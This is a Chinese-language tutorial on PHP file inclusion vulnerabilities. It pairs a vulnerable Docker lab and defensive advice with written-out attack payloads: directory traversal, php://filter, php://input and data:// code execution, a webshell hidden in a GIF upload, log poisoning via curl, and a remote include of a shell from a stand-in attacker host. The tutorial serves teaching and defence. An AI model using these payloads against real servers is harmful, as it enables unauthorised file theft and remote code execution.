文件包含漏洞深度解析：从原理到实战的攻防指南-尧图网络科技

1. 项目概述：文件包含漏洞的“潘多拉魔盒”

在Web应用开发的世界里，追求代码的复用性和模块化是提升效率的关键。我们常常会写一些通用的函数库、配置文件或者模板，然后在不同的页面里“包含”进来。这听起来是个好习惯，对吧？但就是这个看似无害的“包含”操作，如果处理不当，就会在应用的安全防线上撕开一道口子，这就是我们今天要深入探讨的“文件包含漏洞”。它就像一个被开发人员无意中打开的“潘多拉魔盒”，攻击者可以借此读取服务器上的敏感文件，甚至执行任意代码，最终完全控制你的服务器。

简单来说，文件包含漏洞的核心在于，应用程序在动态包含文件时，将用户可控的输入（比如URL参数、表单数据）直接或间接地作为了要包含的文件名或路径的一部分，并且没有进行严格的过滤和校验。想象一下，你家的门锁密码就写在门口的便签上，任何人路过都能看到并开门进来。文件包含漏洞的逻辑与此类似，它把本应只有开发者知道的“内部文件路径”这个秘密，暴露给了所有访问者。

这个漏洞的危害范围极广，从个人博客到大型电商平台，只要使用了动态文件包含机制且存在缺陷，都可能中招。它不仅是渗透测试中的高频考点，更是真实攻击中获取服务器权限的利器。接下来，我们就从原理到实战，彻底拆解这个漏洞，让你不仅明白它为何危险，更能掌握如何发现、利用以及从根本上防御它。

2. 漏洞原理深度剖析：失控的“文件调用”

要理解文件包含漏洞，我们必须先回到它的源头：为什么需要“包含”文件？这源于编程中的“Don‘t Repeat Yourself”原则。例如，一个网站的头部导航栏、底部版权信息在每个页面都相同。聪明的做法是将其写在一个独立的header.php和footer.php文件里，然后在每个页面通过include(‘header.php‘);来引入。这样，修改导航栏只需改一个文件，所有页面同步更新，大大提升了维护效率。

2.1 从功能到漏洞的蜕变

问题就出在这个“包含”的动作上。在PHP中，常见的包含函数有四个：

include()
require()
include_once()
require_once()

它们的区别主要在于处理包含失败时的行为（include会发警告但继续执行，require会报致命错误并停止）以及是否重复包含。但它们的核心机制是一样的：根据提供的路径参数，找到并执行该文件中的代码。

漏洞产生的典型代码如下：

// index.php $page = $_GET[‘file‘]; // 直接从用户输入获取文件名 include($page . ‘.php‘); // 包含该文件

这段代码的本意可能是：用户访问index.php?file=about，程序就会包含about.php并显示“关于我们”页面。看起来逻辑清晰。然而，攻击者的思维不会局限于此。如果用户传入的不是about，而是../../../../etc/passwd呢？拼接后变成include(‘../../../../etc/passwd.php‘);。虽然加了.php后缀，但在某些条件下（我们后面会讲），攻击者依然可以操纵这个路径，使其指向系统敏感的/etc/passwd文件。

关键点在于：开发者的预期是“用户只会传入我预设好的、安全的文件名”，而攻击者的输入是“任何我能够构造的、指向目标文件的路径字符串”。当程序盲目信任了用户的输入时，漏洞就产生了。

2.2 本地包含与远程包含的本质区别

文件包含漏洞主要分为两类，它们的利用条件和危害程度有所不同：

1. 本地文件包含这是最常见的形式。攻击者只能包含服务器本身上存在的文件。即使如此，危害也极大。

利用场景：包含服务器上的日志文件（如/var/log/apache2/access.log）、会话文件（/tmp/sess_xxx）、配置文件（/etc/passwd,config.php），甚至是通过文件上传漏洞传到服务器上的恶意脚本。
核心危害：敏感信息泄露、配合其他漏洞实现代码执行。

2. 远程文件包含这是一种更危险的形态。攻击者可以包含远程服务器上的文件（如http://attacker.com/shell.txt）。

前提条件：PHP配置中的allow_url_include选项必须为On（默认是Off）。现代PHP版本为了安全，已普遍默认关闭并强烈不建议开启。
核心危害：攻击者可以直接将包含目标指向自己控制的远程服务器上的恶意脚本，实现“无接触”攻击，无需事先在目标服务器上放置文件。

注意：在实战中，RFI的利用条件较为苛刻，因此LFI是更常见的攻击入口。但无论是LFI还是RFI，其根本原理都是相通的：用户输入控制了文件包含的路径。

2.3 为什么被包含的代码会被执行？

这是很多初学者的疑惑：我包含了一个.txt日志文件，里面的文本怎么会变成PHP代码被执行？这涉及到PHP解释器的工作方式。include和require函数的行为是：读取指定文件的内容，然后将其中的代码插入到当前脚本的调用位置，并由PHP解释器执行。关键在于，PHP解释器并不关心文件扩展名是.php、.txt还是.log。它只关心文件内容。只要被包含的文件内容以<?php ... ?>标签包裹，或者服务器配置允许短标签<? ... ?>，其中的代码就会被执行。

例如，攻击者通过User-Agent注入一行PHP代码到访问日志中，然后利用LFI包含这个日志文件，其中的PHP代码就会被执行。这就是“日志文件污染”攻击。

3. 漏洞利用手法全解：从读取到getshell

理解了原理，我们进入实战环节。我会模拟一个存在漏洞的环境，带你一步步走完攻击链条。假设我们有一个脆弱的页面vuln.php：

// vuln.php <?php $filename = $_GET[‘page‘]; include(‘/templates/‘ . $filename); ?>

3.1 基础利用：敏感文件读取

这是最直接、最常用的利用方式。目标是读取服务器上包含敏感信息的文件。

1. 系统关键文件读取

Linux系统：
- /etc/passwd：查看系统用户列表。虽然密码已移至/etc/shadow，但此文件仍能揭示用户名和shell环境。
- /etc/shadow：存储用户密码哈希（需root权限读取，但有时配置错误可读）。
- /proc/self/environ：包含当前进程的环境变量，可能泄露路径、密钥等信息。
- /var/log/apache2/access.log//var/log/nginx/access.log：Web访问日志，可用于注入代码。
Windows系统：
- C:\Windows\system32\drivers\etc\hosts：主机文件。
- C:\boot.ini（旧系统）：系统启动配置。
- C:\xampp\apache\conf\httpd.conf：Apache配置文件路径（取决于安装位置）。

利用Payload：

http://target.com/vuln.php?page=../../../../etc/passwd

这里使用../进行目录遍历，跳出Web根目录（如/var/www/html），访问系统其他目录。

2. 应用源码与配置文件读取获取Web应用本身的源码、数据库配置文件是攻击的关键跳板。

config.php,database.php,settings.inc.php：通常包含数据库用户名、密码、API密钥。
index.php本身或其他业务逻辑文件：通过代码审计寻找更多漏洞。

利用Payload：

http://target.com/vuln.php?page=../config.php

假设vuln.php在/var/www/html/admin/，而config.php在/var/www/html/，则需要一个../返回上级目录。

实操心得：目录遍历的层数（../的数量）需要猜测。可以通过错误信息判断Web根目录，或使用Burp Suite的Intruder模块进行模糊测试，尝试不同层数。一个常见技巧是先读取vuln.php自身的源码（如page=./vuln.php），从路径提示中分析当前位置。

3.2 进阶利用：配合文件上传getshell

如果仅能读取文件，危害尚可控制。但文件包含漏洞最危险之处在于能与“文件上传漏洞”形成组合拳，实现远程代码执行，获取Webshell。

攻击链：

发现文件上传点：找到一个可以上传图片、附件的地方。
上传恶意文件：将一句话木马写入一个图片文件（如shell.jpg），内容为<?php @eval($_POST[‘cmd‘]);?>。许多应用只检查文件头（如GIF89a）或MIME类型，不检查文件内容，因此可以绕过。
定位文件路径：通过应用回显、规律猜测或结合其他信息泄露漏洞，确定上传文件的访问路径，例如/uploads/2024/05/shell.jpg。
利用包含漏洞执行：通过LFI包含这个上传的图片文件。
```
http://target.com/vuln.php?page=../../../uploads/2024/05/shell.jpg
```
连接Webshell：使用中国蚁剑、哥斯拉等工具，连接URLhttp://target.com/vuln.php?page=../../../uploads/...，并POST参数cmd=system(‘whoami‘);，即可执行系统命令。

注意事项：这种利用方式对包含函数的后缀拼接有要求。如果代码是include($page . ‘.php‘);，那么我们的shell.jpg会被拼接成shell.jpg.php，无法找到。此时就需要用到“截断”技巧。

3.3 高阶利用：巧用PHP伪协议

PHP内置了一系列“伪协议”，它们像一个个特殊的处理器，可以访问不同的输入输出流。在文件包含的语境下，它们成了攻击者的神兵利器。即使allow_url_include关闭，大部分伪协议在allow_url_fopen开启时（默认常开）仍可使用。

1. php://filter —— 读取源码的利器这是最常用的伪协议，用于读取文件源码，特别是当直接包含PHP文件时，代码会被执行而看不到源代码。

作用：对本地文件进行读写过滤。
利用Payload（读取经过Base64编码的源码）：
```
http://target.com/vuln.php?page=php://filter/read=convert.base64-encode/resource=config.php
```
服务器会返回config.php文件的Base64编码内容。攻击者解码后即可获得明文源码，从中寻找数据库密码等敏感信息。
为什么需要Base64编码？直接包含config.php，其中的<?php ... ?>代码会被执行，浏览器看不到内容。通过filter协议先将其编码为纯文本，就能安全地获取源码。

2. php://input —— 执行任意代码的通道这是一个更强大的协议，允许访问请求的原始数据（即HTTP POST请求的body部分）。

前提条件：allow_url_include必须为On。
利用方式：
```
POST /vuln.php?page=php://input HTTP/1.1 Host: target.com ... <?php system(‘id‘); ?>
```
当vuln.php包含php://input时，实际上包含并执行了POST body中的PHP代码。这相当于一个直接的命令执行接口。

3. data:// —— 另一种代码注入方式data协议可以直接在URL中嵌入数据。

前提条件：allow_url_include必须为On。

利用Payload：

http://target.com/vuln.php?page=data://text/plain,<?php phpinfo();?> // 或使用Base64绕过特殊字符过滤 http://target.com/vuln.php?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOz8%2b

4. zip:// 与 phar:// —— 压缩包内的攻击这两个协议可用于包含ZIP或PHAR压缩包中的文件。攻击者可以上传一个包含恶意脚本的ZIP文件，然后利用协议包含其中的文件。

利用Payload：

// 假设上传了 shell.zip，其中包含 shell.php http://target.com/vuln.php?page=zip:///path/to/uploads/shell.zip%23shell.php // 注意：# 号在URL中需要编码为 %23

3.4 绕过技巧：应对开发者的防御

有经验的开发者会做一些简单的防御，但往往存在绕过方法。

1. 后缀拼接绕过如果代码强制添加后缀，如include($page . ‘.php‘);。

%00截断（PHP < 5.3.4）：利用C语言中的空字符（\0）来截断字符串。Payload：../../../shell.jpg%00。拼接后成为../../../shell.jpg%00.php，在PHP旧版本中，%00之后的.php会被忽略。此方法需magic_quotes_gpc=off。
路径长度截断（Windows/旧系统）：Windows API的MAX_PATH限制为260字符。当路径超长时，后面的部分会被截断。可以构造../../../shell.jpg././././（重复多次）使其超长。
利用协议：使用php://filter等协议时，其后可以跟?或#来忽略后续拼接。如：page=php://filter/resource=config.php%00或page=php://filter/resource=config.php?。

2. 关键词过滤绕过如果代码过滤了../、etc、passwd等关键词。

双写绕过：如果过滤是删除关键词，可用....//过滤后变成../。
编码绕过：使用URL编码（../->%2e%2e%2f）、Unicode编码、Base64编码等。
绝对路径替代：直接使用绝对路径，如/etc/passwd。

4. 实战环境搭建与漏洞复现

“纸上得来终觉浅，绝知此事要躬行。” 要真正理解漏洞，最好的方法就是亲手搭建一个存在漏洞的环境进行测试。请务必在本地虚拟机或授权的测试环境中进行，切勿对任何未授权的系统进行测试！

4.1 环境准备

我们使用 Docker 快速搭建一个包含漏洞的 PHP 环境，这比配置完整的 PHPStudy 或 XAMPP 更干净、更可控。

创建项目目录：
```
mkdir lfi-lab && cd lfi-lab
```

编写存在漏洞的PHP文件（index.php）：

<?php // 模拟一个存在本地文件包含漏洞的页面 error_reporting(0); // 关闭错误显示，模拟生产环境 $file = $_GET[‘file‘]; if(isset($file)){ echo "<h3>包含文件: " . htmlspecialchars($file) . "</h3><hr>"; include($file); // 漏洞点：未过滤直接包含 } else { echo "<h3>请通过file参数指定要包含的文件</h3>"; highlight_file(__FILE__); } ?>

编写一个模拟的上传文件（shell.jpg）：在同一个目录下创建shell.jpg，内容为：
```
GIF89a <?php echo ‘<pre>‘ . shell_exec($_GET[‘cmd‘]) . ‘</pre>‘; ?>
```
（GIF89a是GIF文件头，用于绕过简单的文件类型检查）

创建Dockerfile：

FROM php:7.4-apache RUN docker-php-ext-install mysqli && docker-php-ext-enable mysqli RUN echo “allow_url_include=On” >> /usr/local/etc/php/php.ini-production && \ echo “allow_url_fopen=On” >> /usr/local/etc/php/php.ini-production COPY . /var/www/html/ RUN chmod -R 755 /var/www/html

构建并运行容器：

docker build -t lfi-lab . docker run -d -p 8080:80 --name lfi-test lfi-lab

现在，访问http://localhost:8080/就能看到我们的漏洞页面了。

4.2 漏洞复现步骤

步骤1：基础文件读取访问：http://localhost:8080/index.php?file=../../../../etc/passwd你应该能看到Linux系统的用户列表。这证明了目录遍历和本地文件包含是可行的。

步骤2：使用php://filter读取源码访问：http://localhost:8080/index.php?file=php://filter/read=convert.base64-encode/resource=index.php页面会显示一串Base64编码。复制下来，在终端使用echo ‘编码内容‘ | base64 -d解码，就能看到index.php的源代码，确认漏洞点。

步骤3：配合文件上传执行代码

我们假设shell.jpg已被上传到/var/www/html/uploads/（在容器内，它就在当前目录）。
访问：http://localhost:8080/index.php?file=shell.jpg&cmd=id如果直接执行了id命令并返回结果，恭喜你，成功getshell！这证明了包含非PHP文件时，其中的PHP代码也会被执行。
尝试其他命令，如&cmd=ls -la查看目录，&cmd=pwd查看当前路径。

步骤4：日志文件包含攻击这是一个经典的二次攻击手法。

首先，我们需要知道Apache日志的路径，通常是/var/log/apache2/access.log。
访问：http://localhost:8080/index.php?file=../../../../var/log/apache2/access.log如果能看到日志内容，说明可以包含日志文件。
现在，我们污染日志。使用Burp Suite或curl，发送一个特殊的请求，在User-Agent中注入PHP代码：
```
curl -A “<?php system(\$_GET[‘c‘]); ?>” http://localhost:8080/
```
再次包含日志文件，并添加参数执行命令：http://localhost:8080/index.php?file=../../../../var/log/apache2/access.log&c=id观察返回的日志页面，如果其中包含了id命令的执行结果，说明攻击成功。日志文件被包含时，其中的<?php ... ?>标签被当作代码执行了。

实操心得：日志文件包含的成功率取决于日志文件的权限（Web进程是否可读）和日志的格式。有时需要多次注入，因为日志是追加写入的，包含的可能是旧的日志条目。另外，如果日志文件过大，包含可能会导致超时或内存耗尽。

5. 漏洞挖掘与自动化工具使用

在真实的渗透测试或安全评估中，我们不可能手动测试每一个参数。自动化工具能极大提升效率。

5.1 手动测试点识别

首先，需要人工识别可能存在文件包含的功能点：

URL参数：?page=,?file=,?load=,?path=,?lang=等。
模板加载：CMS系统中切换主题、模板的功能。
语言切换：?language=en_US这类参数。
文件下载/查看：?download=report.pdf，尝试将其改为download=../../etc/passwd。
日志查看功能：管理员功能中查看应用日志的地方。

5.2 使用Burp Suite进行测试

Burp Suite的Intruder和Scanner模块是利器。

Intruder模糊测试：
- 拦截一个包含疑似文件包含参数的请求。
- 发送到Intruder，将参数值标记为Payload位置。
- 在Payloads标签页，加载一个包含常见路径遍历和敏感文件名的字典（如SecLists项目中的Fuzzing/LFI列表）。
- 开始攻击，观察响应长度和内容。与基准响应差异大的，可能就是成功的包含。例如，响应中包含“root:x:0:0”字样，很可能就是读到了/etc/passwd。
Active Scan： Burp的主动扫描器内置了文件包含漏洞的检测规则。在目标范围配置好后，启动扫描，它会自动尝试各种Payload。

5.3 专用工具：FFUF、WFuzz

对于目录遍历，这些Fuzzing工具更高效。

使用FFUF的例子：

ffuf -u “http://target.com/vuln.php?file=FUZZ“ -w /path/to/LFI-wordlist.txt -fs 0

-fs 0表示过滤掉大小为0的响应（通常是文件不存在的404页面），有助于快速定位有效载荷。

一个高效的LFI测试字典应包含：

路径遍历序列：../../etc/passwd,....//....//....//etc/passwd,/etc/passwd,..\..\..\windows\win.ini（Windows）。
协议包装：php://filter/convert.base64-encode/resource=index.php,data://text/plain,test。
常见敏感路径：不仅是/etc/passwd，还有/proc/self/environ,/var/log/apache2/access.log,C:\Windows\System32\drivers\etc\hosts等。

5.4 漏洞确认与利用链构建

当工具或手动测试发现疑似漏洞后，需要手动确认并评估其利用价值：

确认漏洞类型：是LFI还是RFI？尝试包含一个不存在的远程URL（如http://your-server.com/test.txt），看是否报错不同。
评估限制：是否有后缀拼接？尝试file=../../etc/passwd%00或file=../../etc/passwd?.php进行绕过测试。
寻找可利用的文件：
- 日志：尝试包含Web服务器、SSH、FTP日志。
- Session文件：PHP Session文件通常存储在/tmp或/var/lib/php/sessions，文件名类似sess_[PHPSESSID]。如果你能获取或预测用户的Session ID，就可以包含并污染它。
- 上传文件：检查网站是否有任何上传功能（头像、附件）。
- 配置文件：尝试包含config.php,.env,wp-config.php等。
构建利用链：如果只能读文件，尝试从源码、配置中寻找数据库密码、API密钥，或寻找其他漏洞（如SQL注入）的线索。如果能执行代码，则直接部署Webshell。

6. 防御方案：从开发到运维的纵深防御

修复文件包含漏洞，需要开发、运维和安全团队共同努力，建立一个纵深防御体系。

6.1 开发层：白名单与硬编码

这是最根本、最有效的防御手段。

1. 使用白名单机制绝对不要信任用户输入。如果包含的文件是有限的、已知的（如“关于我们”、“联系我们”几个静态页面），请使用白名单。

// 安全的做法 $allowed_pages = [‘about‘, ‘contact‘, ‘home‘]; $page = $_GET[‘page‘]; if (in_array($page, $allowed_pages)) { include(‘./templates/‘ . $page . ‘.php‘); } else { include(‘./templates/error.php‘); // 或直接die(‘Invalid page‘); }

2. 避免动态包含，或严格限制路径如果业务上必须动态包含，请将用户输入严格限制在某个安全目录内。

// 相对安全的做法（仍需结合其他检查） $base_dir = ‘/var/www/html/templates/‘; $file = $_GET[‘file‘]; // 规范化路径，防止../跳转 $real_path = realpath($base_dir . $file); // 检查规范化后的路径是否仍在安全目录内 if ($real_path && strpos($real_path, $base_dir) === 0 && is_file($real_path)) { include($real_path); } else { die(‘Access denied.‘); }

注意：realpath()函数会解析符号链接，需确保系统安全。

3. 使用安全的文件操作函数考虑使用file_get_contents()读取静态文件内容然后输出，而不是include执行。或者使用模板引擎（如Twig、Smarty），它们通常有更安全的包含机制。

6.2 配置层：限制PHP行为

运维人员应确保PHP环境配置是安全的。

关闭危险配置：
- allow_url_include = Off：永远不要开启。这是防止RFI的最关键设置。
- allow_url_fopen = Off：如果业务不需要从远程URL打开文件，建议关闭。这会影响php://input等部分伪协议，但可能影响部分功能，需评估。
- open_basedir：将PHP可访问的文件限制在指定的目录树内。例如：open_basedir = /var/www/html:/tmp。这是一个重要的沙盒限制。
- disable_functions：在php.ini中禁用危险函数，如exec,system,passthru,shell_exec,proc_open等。即使攻击者包含了恶意文件，也无法执行系统命令。
设置正确的文件权限：
- 遵循最小权限原则。Web服务器进程（如www-data, apache用户）只应拥有对Web根目录及其子目录的读写权限，对系统文件（如/etc/,/var/log/）只有只读或无权访问。
- 敏感配置文件（如config.php）应放在Web根目录之外，并通过../在代码中引用。

6.3 架构与运维层：纵深防御

Web应用防火墙：部署WAF，配置规则拦截包含../,etc/passwd,php://等特征的恶意请求。
定期更新与漏洞扫描：保持PHP、Web服务器（Apache/Nginx）及所有应用框架/库的最新版本。使用SAST/DAST工具定期对代码和应用进行安全扫描。
日志审计与监控：集中管理并监控Web服务器日志、系统日志。对大量的../序列、php://协议请求建立告警规则。
容器化与微隔离：在容器化部署中，每个应用运行在独立的容器内，其文件系统与宿主机隔离，天然限制了目录遍历的范围。

7. 常见问题与排查技巧实录

在实际渗透测试和代码审计中，会遇到各种各样的情况。这里记录一些典型的“坑”和解决思路。

Q1：测试时，包含/etc/passwd返回了“No such file or directory”，但包含相对路径的文件却可以，这是为什么？A1：这通常有几个原因：

绝对路径被过滤：程序可能检测到路径以/开头就拒绝。尝试使用相对路径../../../../etc/passwd。
目录深度不对：../的数量不对，没有跳出Web根目录。你需要猜测Web根目录与目标文件的相对深度。一个技巧是先包含一个已知存在的Web文件（如图片），然后慢慢增加../的层数。
文件不存在或路径错误：目标系统可能是Windows，或者/etc/passwd被符号链接到了其他地方。尝试包含其他常见文件，如/proc/self/environ或 Windows 下的C:\Windows\win.ini。

Q2：包含一个图片文件（.jpg），里面的PHP代码没有执行，只是以文本形式显示出来了，怎么办？A2：这说明服务器没有将该文件当作PHP解析。可能的原因和绕过方法：

后缀名被强制修改或检查：服务器端（如Nginx的配置）或应用代码强制所有包含的文件都以.php结尾。尝试%00截断（PHP旧版本）或路径长度截断。
文件内容被检查：服务器可能检查文件内容是否包含PHP标签。可以尝试将PHP代码隐藏在图片的EXIF信息中（使用exiftool工具），或者使用php://filter的编码特性来间接执行。
最重要的方法：寻找日志文件、Session文件等服务器本身会生成、且你能注入代码的文件进行包含。这是LFI最经典的利用方式。

Q3：使用php://input或data://协议时，总是失败，没有任何回显。A3：请按顺序检查：

确认allow_url_include设置：创建一个phpinfo.php文件，内容为<?php phpinfo(); ?>，访问它，搜索allow_url_include，确认其值为On。
检查请求方法：php://input需要POST请求，并且PHP代码要放在POST body中，而不是URL参数里。务必使用Burp Suite或curl的-X POST –data选项。
检查特殊字符：data://协议中，PHP代码里的特殊字符（如<?,>）可能需要URL编码或Base64编码。
查看错误日志：开启display_errors或查看服务器错误日志，可能有限制或配置错误。

Q4：在真实的黑盒测试中，如何高效地发现文件包含漏洞？A4：除了用工具Fuzz，更要关注上下文信息：

错误信息：尝试触发错误，例如传入file=non_exist，看错误信息是否泄露了绝对路径（如Warning: include(/var/www/html/non_exist.php): failed to open stream）。路径信息对后续的目录遍历至关重要。
URL模式：观察网站URL，如/index.php?page=about，/download.php?file=manual.pdf。带有page,file,load,template,lang等参数的URL是重点测试对象。
文件上传点：找到任何可以上传文件的地方。即使上传有过滤，也可能存在竞争条件、解析漏洞等，让你上传一个可被包含的文件。
框架与CMS：识别网站使用的框架（如Laravel, ThinkPHP）或CMS（如WordPress, Joomla）。搜索该版本已知的文件包含漏洞或默认的不安全代码模式。

文件包含漏洞是一个看似简单却内涵丰富的安全议题。它考验的不仅是攻击者的技巧，更是开发者对“信任边界”的认知。修复它没有银弹，需要从输入验证、路径处理、服务器配置到安全架构的多层把关。对于安全研究者而言，理解其原理和利用链，能帮助我们更好地进行威胁建模和代码审计。希望这篇近万字的拆解，能成为你Web安全道路上的一块坚实垫脚石。在实战中，保持好奇心，多动手测试，但永远恪守法律与道德的边界。